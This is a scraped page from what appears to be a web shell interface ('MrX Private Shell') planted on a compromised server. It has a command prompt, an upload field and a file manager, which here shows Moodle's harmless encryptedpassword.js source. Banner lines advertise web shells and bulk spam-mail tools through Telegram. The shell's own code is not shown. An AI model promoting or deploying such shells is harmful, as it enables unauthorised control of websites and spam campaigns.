__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Encrypted password functionality.
 *
 * @module core_form/encryptedpassword
 * @copyright 2019 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Constructor for EncryptedPassword.
 *
 * @class core_form/encryptedpassword
 * @param {String} elementId The element to apply the encrypted password JS to
 */
export const EncryptedPassword = function(elementId) {
    const wrapper = document.querySelector('div[data-encryptedpasswordid="' + elementId + '"]');
    this.spanOrLink = wrapper.querySelector('span, a');
    this.input = wrapper.querySelector('input');
    this.editButtonOrLink = wrapper.querySelector('button[data-editbutton], a');
    this.cancelButton = wrapper.querySelector('button[data-cancelbutton]');

    // Edit button action.
    var editHandler = (e) => {
        e.stopImmediatePropagation();
        e.preventDefault();
        this.startEditing(true);
    };
    this.editButtonOrLink.addEventListener('click', editHandler);

    // When it's a link, do some magic to make the label work as well.
    if (this.editButtonOrLink.nodeName === 'A') {
        wrapper.parentElement.previousElementSibling.querySelector('label').addEventListener('click', editHandler);
    }

    // Cancel button action.
    this.cancelButton.addEventListener('click', (e) => {
        e.stopImmediatePropagation();
        e.preventDefault();
        this.cancelEditing();
    });

    // If the value is not set yet, start editing and remove the cancel option - so that
    // it saves something in the config table and doesn't keep repeat showing it as a new
    // admin setting...
    if (wrapper.dataset.novalue === 'y') {
        this.startEditing(false);
        this.cancelButton.style.display = 'none';
    }
};

/**
 * Starts editing.
 *
 * @param {Boolean} moveFocus If true, sets focus to the edit box
 */
EncryptedPassword.prototype.startEditing = function(moveFocus) {
    this.input.style.display = 'inline';
    this.input.disabled = false;
    this.spanOrLink.style.display = 'none';
    this.editButtonOrLink.style.display = 'none';
    this.cancelButton.style.display = 'inline';

    // Move the id around, which changes what happens when you click the label.
    const id = this.editButtonOrLink.id;
    this.editButtonOrLink.removeAttribute('id');
    this.input.id = id;

    if (moveFocus) {
        this.input.focus();
    }
};

/**
 * Cancels editing.
 */
EncryptedPassword.prototype.cancelEditing = function() {
    this.input.style.display = 'none';
    this.input.value = '';
    this.input.disabled = true;
    this.spanOrLink.style.display = 'inline';
    this.editButtonOrLink.style.display = 'inline';
    this.cancelButton.style.display = 'none';

    // Move the id around, which changes what happens when you click the label.
    const id = this.input.id;
    this.input.removeAttribute('id');
    this.editButtonOrLink.id = id;
};

Filemanager

Name Type Size Permission Actions
changechecker.js File 14.04 KB 0777
choicedropdown.js File 5.06 KB 0777
collapsesections.js File 4.07 KB 0777
configtext_maxlength.js File 4.43 KB 0777
defaultcustom.js File 2.34 KB 0777
dynamicform.js File 13.08 KB 0777
encryptedpassword.js File 3.53 KB 0777
events.js File 8.81 KB 0777
filetypes.js File 10.89 KB 0777
modalform.js File 16 KB 0777
passwordunmask.js File 10.17 KB 0777
showadvanced.js File 7.8 KB 0777
submit.js File 5.55 KB 0777
util.js File 1.26 KB 0777
Filemanager